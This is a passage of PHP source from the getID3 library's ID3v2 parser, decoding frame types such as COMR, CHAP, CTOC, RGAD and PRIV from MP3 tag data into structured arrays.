			$frame_embeddedinfoflags = getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['flags']['embededinfo'] = (bool) substr($frame_embeddedinfoflags, 7, 1);
			$parsedFrame['nexttagoffset'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
			unset($parsedFrame['data']);


		} elseif (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CRM')) { // 4.20  Encrypted meta frame (ID3v2.2 only)
			//   There may be more than one 'CRM' frame in a tag,
			//   but only one with the same 'owner identifier'
			// <Header for 'Encrypted meta frame', ID: 'CRM'>
			// Owner identifier      <textstring> $00 (00)
			// Content/explanation   <textstring> $00 (00)
			// Encrypted datablock   <binary data>

			$frame_offset = 0;
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']);
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$parsedFrame['ownerid']     = $frame_ownerid;
			$parsedFrame['data']        = (string) substr($parsedFrame['data'], $frame_offset);
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'AENC')) || // 4.19  AENC Audio encryption
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CRA'))) {     // 4.21  CRA  Audio encryption
			//   There may be more than one 'AENC' frames in a tag,
			//   but only one with the same 'Owner identifier'
			// <Header for 'Audio encryption', ID: 'AENC'>
			// Owner identifier   <text string> $00
			// Preview start      $xx xx
			// Preview length     $xx xx
			// Encryption info    <binary data>

			$frame_offset = 0;
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_ownerid) === 0) {
				$frame_ownerid = '';
			}
			$frame_offset = $frame_terminatorpos + strlen("\x00");
			$parsedFrame['ownerid'] = $frame_ownerid;
			$parsedFrame['previewstart'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
			$frame_offset += 2;
			$parsedFrame['previewlength'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
			$frame_offset += 2;
			$parsedFrame['encryptioninfo'] = (string) substr($parsedFrame['data'], $frame_offset);
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'LINK')) || // 4.20  LINK Linked information
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'LNK'))) {    // 4.22  LNK  Linked information
			//   There may be more than one 'LINK' frame in a tag,
			//   but only one with the same contents
			// <Header for 'Linked information', ID: 'LINK'>
			// ID3v2.3+ => Frame identifier   $xx xx xx xx
			// ID3v2.2  => Frame identifier   $xx xx xx
			// URL                            <text string> $00
			// ID and additional data         <text string(s)>

			$frame_offset = 0;
			if ($id3v2_majorversion == 2) {
				$parsedFrame['frameid'] = substr($parsedFrame['data'], $frame_offset, 3);
				$frame_offset += 3;
			} else {
				$parsedFrame['frameid'] = substr($parsedFrame['data'], $frame_offset, 4);
				$frame_offset += 4;
			}

			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_url = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_url) === 0) {
				$frame_url = '';
			}
			$frame_offset = $frame_terminatorpos + strlen("\x00");
			$parsedFrame['url'] = $frame_url;

			$parsedFrame['additionaldata'] = (string) substr($parsedFrame['data'], $frame_offset);
			if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) {
				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback_iso88591_utf8($parsedFrame['url']);
			}
			unset($parsedFrame['data']);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'POSS')) { // 4.21  POSS Position synchronisation frame (ID3v2.3+ only)
			//   There may only be one 'POSS' frame in each tag
			// <Head for 'Position synchronisation', ID: 'POSS'>
			// Time stamp format         $xx
			// Position                  $xx (xx ...)

			$frame_offset = 0;
			$parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['position']        = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset));
			unset($parsedFrame['data']);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'USER')) { // 4.22  USER Terms of use (ID3v2.3+ only)
			//   There may be more than one 'Terms of use' frame in a tag,
			//   but only one with the same 'Language'
			// <Header for 'Terms of use frame', ID: 'USER'>
			// Text encoding        $xx
			// Language             $xx xx xx
			// The actual text      <text string according to encoding>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
			}
			$frame_language = substr($parsedFrame['data'], $frame_offset, 3);
			$frame_offset += 3;
			$parsedFrame['language']     = $frame_language;
			$parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false);
			$parsedFrame['encodingid']   = $frame_textencoding;
			$parsedFrame['encoding']     = $this->TextEncodingNameLookup($frame_textencoding);

			$parsedFrame['data'] = (string) substr($parsedFrame['data'], $frame_offset);
			$parsedFrame['data'] = $this->RemoveStringTerminator($parsedFrame['data'], $this->TextEncodingTerminatorLookup($frame_textencoding));
			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']);
			}
			unset($parsedFrame['data']);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'OWNE')) { // 4.23  OWNE Ownership frame (ID3v2.3+ only)
			//   There may only be one 'OWNE' frame in a tag
			// <Header for 'Ownership frame', ID: 'OWNE'>
			// Text encoding     $xx
			// Price paid        <text string> $00
			// Date of purch.    <text string>
			// Seller            <text string according to encoding>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
			}
			$parsedFrame['encodingid'] = $frame_textencoding;
			$parsedFrame['encoding']   = $this->TextEncodingNameLookup($frame_textencoding);

			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_pricepaid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$parsedFrame['pricepaid']['currencyid'] = substr($frame_pricepaid, 0, 3);
			$parsedFrame['pricepaid']['currency']   = $this->LookupCurrencyUnits($parsedFrame['pricepaid']['currencyid']);
			$parsedFrame['pricepaid']['value']      = substr($frame_pricepaid, 3);

			$parsedFrame['purchasedate'] = substr($parsedFrame['data'], $frame_offset, 8);
			if ($this->IsValidDateStampString($parsedFrame['purchasedate'])) {
				$parsedFrame['purchasedateunix'] = mktime (0, 0, 0, substr($parsedFrame['purchasedate'], 4, 2), substr($parsedFrame['purchasedate'], 6, 2), substr($parsedFrame['purchasedate'], 0, 4));
			}
			$frame_offset += 8;

			$parsedFrame['seller'] = (string) substr($parsedFrame['data'], $frame_offset);
			$parsedFrame['seller'] = $this->RemoveStringTerminator($parsedFrame['seller'], $this->TextEncodingTerminatorLookup($frame_textencoding));
			unset($parsedFrame['data']);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'COMR')) { // 4.24  COMR Commercial frame (ID3v2.3+ only)
			//   There may be more than one 'commercial frame' in a tag,
			//   but no two may be identical
			// <Header for 'Commercial frame', ID: 'COMR'>
			// Text encoding      $xx
			// Price string       <text string> $00
			// Valid until        <text string>
			// Contact URL        <text string> $00
			// Received as        $xx
			// Name of seller     <text string according to encoding> $00 (00)
			// Description        <text string according to encoding> $00 (00)
			// Picture MIME type  <string> $00
			// Seller logo        <binary data>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
				$frame_textencoding_terminator = "\x00";
			}

			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_pricestring = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$frame_offset = $frame_terminatorpos + strlen("\x00");
			$frame_rawpricearray = explode('/', $frame_pricestring);
			foreach ($frame_rawpricearray as $key => $val) {
				$frame_currencyid = substr($val, 0, 3);
				$parsedFrame['price'][$frame_currencyid]['currency'] = $this->LookupCurrencyUnits($frame_currencyid);
				$parsedFrame['price'][$frame_currencyid]['value']    = substr($val, 3);
			}

			$frame_datestring = substr($parsedFrame['data'], $frame_offset, 8);
			$frame_offset += 8;

			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_contacturl = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$frame_receivedasid = ord(substr($parsedFrame['data'], $frame_offset++, 1));

			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
			}
			$frame_sellername = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_sellername) === 0) {
				$frame_sellername = '';
			}
			$frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator);

			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
			}
			$parsedFrame['description'] = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$parsedFrame['description'] = $this->MakeUTF16emptyStringEmpty($parsedFrame['description']);
			$frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator);

			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$frame_sellerlogo = substr($parsedFrame['data'], $frame_offset);

			$parsedFrame['encodingid']        = $frame_textencoding;
			$parsedFrame['encoding']          = $this->TextEncodingNameLookup($frame_textencoding);

			$parsedFrame['pricevaliduntil']   = $frame_datestring;
			$parsedFrame['contacturl']        = $frame_contacturl;
			$parsedFrame['receivedasid']      = $frame_receivedasid;
			$parsedFrame['receivedas']        = $this->COMRReceivedAsLookup($frame_receivedasid);
			$parsedFrame['sellername']        = $frame_sellername;
			$parsedFrame['mime']              = $frame_mimetype;
			$parsedFrame['logo']              = $frame_sellerlogo;
			unset($parsedFrame['data']);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'ENCR')) { // 4.25  ENCR Encryption method registration (ID3v2.3+ only)
			//   There may be several 'ENCR' frames in a tag,
			//   but only one containing the same symbol
			//   and only one containing the same owner identifier
			// <Header for 'Encryption method registration', ID: 'ENCR'>
			// Owner identifier    <text string> $00
			// Method symbol       $xx
			// Encryption data     <binary data>

			$frame_offset = 0;
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_ownerid) === 0) {
				$frame_ownerid = '';
			}
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$parsedFrame['ownerid']      = $frame_ownerid;
			$parsedFrame['methodsymbol'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['data']         = (string) substr($parsedFrame['data'], $frame_offset);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'GRID')) { // 4.26  GRID Group identification registration (ID3v2.3+ only)

			//   There may be several 'GRID' frames in a tag,
			//   but only one containing the same symbol
			//   and only one containing the same owner identifier
			// <Header for 'Group ID registration', ID: 'GRID'>
			// Owner identifier      <text string> $00
			// Group symbol          $xx
			// Group dependent data  <binary data>

			$frame_offset = 0;
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_ownerid) === 0) {
				$frame_ownerid = '';
			}
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$parsedFrame['ownerid']       = $frame_ownerid;
			$parsedFrame['groupsymbol']   = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['data']          = (string) substr($parsedFrame['data'], $frame_offset);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'PRIV')) { // 4.27  PRIV Private frame (ID3v2.3+ only)
			//   The tag may contain more than one 'PRIV' frame
			//   but only with different contents
			// <Header for 'Private frame', ID: 'PRIV'>
			// Owner identifier      <text string> $00
			// The private data      <binary data>

			$frame_offset = 0;
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_ownerid) === 0) {
				$frame_ownerid = '';
			}
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$parsedFrame['ownerid'] = $frame_ownerid;
			$parsedFrame['data']    = (string) substr($parsedFrame['data'], $frame_offset);


		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'SIGN')) { // 4.28  SIGN Signature frame (ID3v2.4+ only)
			//   There may be more than one 'signature frame' in a tag,
			//   but no two may be identical
			// <Header for 'Signature frame', ID: 'SIGN'>
			// Group symbol      $xx
			// Signature         <binary data>

			$frame_offset = 0;
			$parsedFrame['groupsymbol'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['data']        = (string) substr($parsedFrame['data'], $frame_offset);


		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'SEEK')) { // 4.29  SEEK Seek frame (ID3v2.4+ only)
			//   There may only be one 'seek frame' in a tag
			// <Header for 'Seek frame', ID: 'SEEK'>
			// Minimum offset to next tag       $xx xx xx xx

			$frame_offset = 0;
			$parsedFrame['data']          = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));


		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'ASPI')) { // 4.30  ASPI Audio seek point index (ID3v2.4+ only)
			//   There may only be one 'audio seek point index' frame in a tag
			// <Header for 'Seek Point Index', ID: 'ASPI'>
			// Indexed data start (S)         $xx xx xx xx
			// Indexed data length (L)        $xx xx xx xx
			// Number of index points (N)     $xx xx
			// Bits per index point (b)       $xx
			//   Then for every index point the following data is included:
			// Fraction at index (Fi)          $xx (xx)

			$frame_offset = 0;
			$parsedFrame['datastart'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
			$frame_offset += 4;
			$parsedFrame['indexeddatalength'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
			$frame_offset += 4;
			$parsedFrame['indexpoints'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
			$frame_offset += 2;
			$parsedFrame['bitsperpoint'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_bytesperpoint = ceil($parsedFrame['bitsperpoint'] / 8);
			for ($i = 0; $i < $parsedFrame['indexpoints']; $i++) {
				$parsedFrame['indexes'][$i] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesperpoint));
				$frame_offset += $frame_bytesperpoint;
			}
			unset($parsedFrame['data']);

		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RGAD')) { // Replay Gain Adjustment
			// http://privatewww.essex.ac.uk/~djmrob/replaygain/file_format_id3v2.html
			//   There may only be one 'RGAD' frame in a tag
			// <Header for 'Replay Gain Adjustment', ID: 'RGAD'>
			// Peak Amplitude                      $xx $xx $xx $xx
			// Radio Replay Gain Adjustment        %aaabbbcd %dddddddd
			// Audiophile Replay Gain Adjustment   %aaabbbcd %dddddddd
			//   a - name code
			//   b - originator code
			//   c - sign bit
			//   d - replay gain adjustment

			$frame_offset = 0;
			$parsedFrame['peakamplitude'] = getid3_lib::BigEndian2Float(substr($parsedFrame['data'], $frame_offset, 4));
			$frame_offset += 4;
			foreach (array('track','album') as $rgad_entry_type) {
				$rg_adjustment_word = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
				$frame_offset += 2;
				$parsedFrame['raw'][$rgad_entry_type]['name']       = ($rg_adjustment_word & 0xE000) >> 13;
				$parsedFrame['raw'][$rgad_entry_type]['originator'] = ($rg_adjustment_word & 0x1C00) >> 10;
				$parsedFrame['raw'][$rgad_entry_type]['signbit']    = ($rg_adjustment_word & 0x0200) >>  9;
				$parsedFrame['raw'][$rgad_entry_type]['adjustment'] = ($rg_adjustment_word & 0x0100);
			}
			$parsedFrame['track']['name']       = getid3_lib::RGADnameLookup($parsedFrame['raw']['track']['name']);
			$parsedFrame['track']['originator'] = getid3_lib::RGADoriginatorLookup($parsedFrame['raw']['track']['originator']);
			$parsedFrame['track']['adjustment'] = getid3_lib::RGADadjustmentLookup($parsedFrame['raw']['track']['adjustment'], $parsedFrame['raw']['track']['signbit']);
			$parsedFrame['album']['name']       = getid3_lib::RGADnameLookup($parsedFrame['raw']['album']['name']);
			$parsedFrame['album']['originator'] = getid3_lib::RGADoriginatorLookup($parsedFrame['raw']['album']['originator']);
			$parsedFrame['album']['adjustment'] = getid3_lib::RGADadjustmentLookup($parsedFrame['raw']['album']['adjustment'], $parsedFrame['raw']['album']['signbit']);

			$info['replay_gain']['track']['peak']       = $parsedFrame['peakamplitude'];
			$info['replay_gain']['track']['originator'] = $parsedFrame['track']['originator'];
			$info['replay_gain']['track']['adjustment'] = $parsedFrame['track']['adjustment'];
			$info['replay_gain']['album']['originator'] = $parsedFrame['album']['originator'];
			$info['replay_gain']['album']['adjustment'] = $parsedFrame['album']['adjustment'];

			unset($parsedFrame['data']);

		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'CHAP')) { // CHAP Chapters frame (ID3v2.3+ only)
			// http://id3.org/id3v2-chapters-1.0
			// <ID3v2.3 or ID3v2.4 frame header, ID: "CHAP">           (10 bytes)
			// Element ID      <text string> $00
			// Start time      $xx xx xx xx
			// End time        $xx xx xx xx
			// Start offset    $xx xx xx xx
			// End offset      $xx xx xx xx
			// <Optional embedded sub-frames>

			$frame_offset = 0;
			@list($parsedFrame['element_id']) = explode("\x00", $parsedFrame['data'], 2);
			$frame_offset += strlen($parsedFrame['element_id']."\x00");
			$parsedFrame['time_begin'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
			$frame_offset += 4;
			$parsedFrame['time_end']   = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
			$frame_offset += 4;
			if (substr($parsedFrame['data'], $frame_offset, 4) != "\xFF\xFF\xFF\xFF") {
				// "If these bytes are all set to 0xFF then the value should be ignored and the start time value should be utilized."
				$parsedFrame['offset_begin'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
			}
			$frame_offset += 4;
			if (substr($parsedFrame['data'], $frame_offset, 4) != "\xFF\xFF\xFF\xFF") {
				// "If these bytes are all set to 0xFF then the value should be ignored and the start time value should be utilized."
				$parsedFrame['offset_end']   = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
			}
			$frame_offset += 4;

			if ($frame_offset < strlen($parsedFrame['data'])) {
				$parsedFrame['subframes'] = array();
				while ($frame_offset < strlen($parsedFrame['data'])) {
					// <Optional embedded sub-frames>
					$subframe = array();
					$subframe['name']      =                           substr($parsedFrame['data'], $frame_offset, 4);
					$frame_offset += 4;
					$subframe['size']      = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
					$frame_offset += 4;
					$subframe['flags_raw'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
					$frame_offset += 2;
					if ($subframe['size'] > (strlen($parsedFrame['data']) - $frame_offset)) {
						$this->warning('CHAP subframe "'.$subframe['name'].'" at frame offset '.$frame_offset.' claims to be "'.$subframe['size'].'" bytes, which is more than the available data ('.(strlen($parsedFrame['data']) - $frame_offset).' bytes)');
						break;
					}
					$subframe_rawdata = substr($parsedFrame['data'], $frame_offset, $subframe['size']);
					$frame_offset += $subframe['size'];

					$subframe['encodingid'] = ord(substr($subframe_rawdata, 0, 1));
					$subframe['text']       =     substr($subframe_rawdata, 1);
					$subframe['encoding']   = $this->TextEncodingNameLookup($subframe['encodingid']);
					$encoding_converted_text = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe['text']));
					switch (substr($encoding_converted_text, 0, 2)) {
						case "\xFF\xFE":
						case "\xFE\xFF":
							switch (strtoupper($info['id3v2']['encoding'])) {
								case 'ISO-8859-1':
								case 'UTF-8':
									$encoding_converted_text = substr($encoding_converted_text, 2);
									// remove unwanted byte-order-marks
									break;
								default:
									// ignore
									break;
							}
							break;
						default:
							// do not remove BOM
							break;
					}

					switch ($subframe['name']) {
						case 'TIT2':
							$parsedFrame['chapter_name']        = $encoding_converted_text;
							$parsedFrame['subframes'][] = $subframe;
							break;
						case 'TIT3':
							$parsedFrame['chapter_description'] = $encoding_converted_text;
							$parsedFrame['subframes'][] = $subframe;
							break;
						case 'WXXX':
							@list($subframe['chapter_url_description'], $subframe['chapter_url']) = explode("\x00", $encoding_converted_text, 2);
							$parsedFrame['chapter_url'][$subframe['chapter_url_description']] = $subframe['chapter_url'];
							$parsedFrame['subframes'][] = $subframe;
							break;
						case 'APIC':
							if (preg_match('#^([^\\x00]+)*\\x00(.)([^\\x00]+)*\\x00(.+)$#s', $subframe['text'], $matches)) {
								list($dummy, $subframe_apic_mime, $subframe_apic_picturetype, $subframe_apic_description, $subframe_apic_picturedata) = $matches;
								$subframe['image_mime']   = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe_apic_mime));
								$subframe['picture_type'] = $this->APICPictureTypeLookup($subframe_apic_picturetype);
								$subframe['description']  = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe_apic_description));
								if (strlen($this->TextEncodingTerminatorLookup($subframe['encoding'])) == 2) {
									// the null terminator between "description" and "picture data" could be either 1 byte (ISO-8859-1, UTF-8) or two bytes (UTF-16)
									// the above regex assumes one byte, if it's actually two then strip the second one here
									$subframe_apic_picturedata = substr($subframe_apic_picturedata, 1);
								}
								$subframe['data'] = $subframe_apic_picturedata;
								unset($dummy, $subframe_apic_mime, $subframe_apic_picturetype, $subframe_apic_description, $subframe_apic_picturedata);
								unset($subframe['text'], $parsedFrame['text']);
								$parsedFrame['subframes'][] = $subframe;
								$parsedFrame['picture_present'] = true;
							} else {
								$this->warning('ID3v2.CHAP subframe #'.(count($parsedFrame['subframes']) + 1).' "'.$subframe['name'].'" not in expected format');
							}
							break;
						default:
							$this->warning('ID3v2.CHAP subframe "'.$subframe['name'].'" not handled (supported: TIT2, TIT3, WXXX, APIC)');
							break;
					}
				}
				unset($subframe_rawdata, $subframe, $encoding_converted_text);
				unset($parsedFrame['data']); // debatable whether this this be here, without it the returned structure may contain a large amount of duplicate data if chapters contain APIC
			}

			$id3v2_chapter_entry = array();
			foreach (array('id', 'time_begin', 'time_end', 'offset_begin', 'offset_end', 'chapter_name', 'chapter_description', 'chapter_url', 'picture_present') as $id3v2_chapter_key) {
				if (isset($parsedFrame[$id3v2_chapter_key])) {
					$id3v2_chapter_entry[$id3v2_chapter_key] = $parsedFrame[$id3v2_chapter_key];
				}
			}
			if (!isset($info['id3v2']['chapters'])) {
				$info['id3v2']['chapters'] = array();
			}
			$info['id3v2']['chapters'][] = $id3v2_chapter_entry;
			unset($id3v2_chapter_entry, $id3v2_chapter_key);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'CTOC')) { // CTOC Chapters Table Of Contents frame (ID3v2.3+ only)
			// http://id3.org/id3v2-chapters-1.0
			// <ID3v2.3 or ID3v2.4 frame header, ID: "CTOC">           (10 bytes)
			// Element ID      <text string> $00
			// CTOC flags        %xx
			// Entry count       $xx
			// Child Element ID  <string>$00   /* zero or more child CHAP or CTOC entries */
			// <Optional embedded sub-frames>

			$frame_offset = 0;
			@list($parsedFrame['element_id']) = explode("\x00", $parsedFrame['data'], 2);
			$frame_offset += strlen($parsedFrame['element_id']."\x00");
			$ctoc_flags_raw = ord(substr($parsedFrame['data'], $frame_offset, 1));
			$frame_offset += 1;
			$parsedFrame['entry_count'] = ord(substr($parsedFrame['data'], $frame_offset, 1));
			$frame_offset += 1;

			$terminator_position = null;
			for ($i = 0; $i < $parsedFrame['entry_count']; $i++) {
				$terminator_position = strpos($parsedFrame['data'], "\x00", $frame_offset);
				$parsedFrame['child_element_ids'][$i] = substr($parsedFrame['data'], $frame_offset, $terminator_position - $frame_offset);
				$frame_offset = $terminator_position + 1;
			}

			$parsedFrame['ctoc_flags']['ordered']   = (bool) ($ctoc_flags_raw & 0x01);
			$parsedFrame['ctoc_flags']['top_level'] = (bool) ($ctoc_flags_raw & 0x03);

			unset($ctoc_flags_raw, $terminator_position);

			if ($frame_offset < strlen($parsedFrame['data'])) {
				$parsedFrame['subframes'] = array();
				while ($frame_offset < strlen($parsedFrame['data'])) {
					// <Optional embedded sub-frames>
					$subframe = array();
					$subframe['name']      =                           substr($parsedFrame['data'], $frame_offset, 4);
					$frame_offset += 4;
					$subframe['size']      = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
					$frame_offset += 4;
					$subframe['flags_raw'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
					$frame_offset += 2;
					if ($subframe['size'] > (strlen($parsedFrame['data']) - $frame_offset)) {
						$this->warning('CTOS subframe "'.$subframe['name'].'" at frame offset '.$frame_offset.' claims to be "'.$subframe['size'].'" bytes, which is more than the available data ('.(strlen($parsedFrame['data']) - $frame_offset).' bytes)');
						break;
					}
					$subframe_rawdata = substr($parsedFrame['data'], $frame_offset, $subframe['size']);
					$frame_offset += $subframe['size'];

					$subframe['encodingid'] = ord(substr($subframe_rawdata, 0, 1));
					$subframe['text']       =     substr($subframe_rawdata, 1);
					$subframe['encoding']   = $this->TextEncodingNameLookup($subframe['encodingid']);
					$encoding_converted_text = trim(getid3_lib::iconv_fallback($subframe['encoding'], $info['encoding'], $subframe['text']));;
					switch (substr($encoding_converted_text, 0, 2)) {
						case "\xFF\xFE":
						case "\xFE\xFF":
							switch (strtoupper($info['id3v2']['encoding'])) {
								case 'ISO-8859-1':
								case 'UTF-8':
									$encoding_converted_text = substr($encoding_converted_text, 2);
									// remove unwanted byte-order-marks
									break;
								default:
									// ignore
									break;
							}
							break;
						default:
							// do not remove BOM
							break;
					}

					if (($subframe['name'] == 'TIT2') || ($subframe['name'] == 'TIT3')) {
						if ($subframe['name'] == 'TIT2') {
							$parsedFrame['toc_name']        = $encoding_converted_text;
						} elseif ($subframe['name'] == 'TIT3') {
							$parsedFrame['toc_description'] = $encoding_converted_text;
						}
						$parsedFrame['subframes'][] = $subframe;
					} else {
						$this->warning('ID3v2.CTOC subframe "'.$subframe['name'].'" not handled (only TIT2 and TIT3)');
					}
				}
				unset($subframe_rawdata, $subframe, $encoding_converted_text);
			}

		}

		return true;
	}

	/**
	 * @param string $data
	 *
	 * @return string
	 */
	public function DeUnsynchronise($data) {
		return str_replace("\xFF\x00", "\xFF", $data);
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
	public function LookupExtendedHeaderRestrictionsTagSizeLimits($index) {
		static $LookupExtendedHeaderRestrictionsTagSizeLimits = array(
			0x00 => 'No more than 128 frames and 1 MB total tag size',
			0x01 => 'No more than 64 frames and 128 KB total tag size',
			0x02 => 'No more than 32 frames and 40 KB total tag size',
			0x03 => 'No more than 32 frames and 4 KB total tag size',
		);
		return (isset($LookupExtendedHeaderRestrictionsTagSizeLimits[$index]) ? $LookupExtendedHeaderRestrictionsTagSizeLimits[$index] : '');
	}

	/**
	 * @param int $index
	 *
	 * @return string
	 */
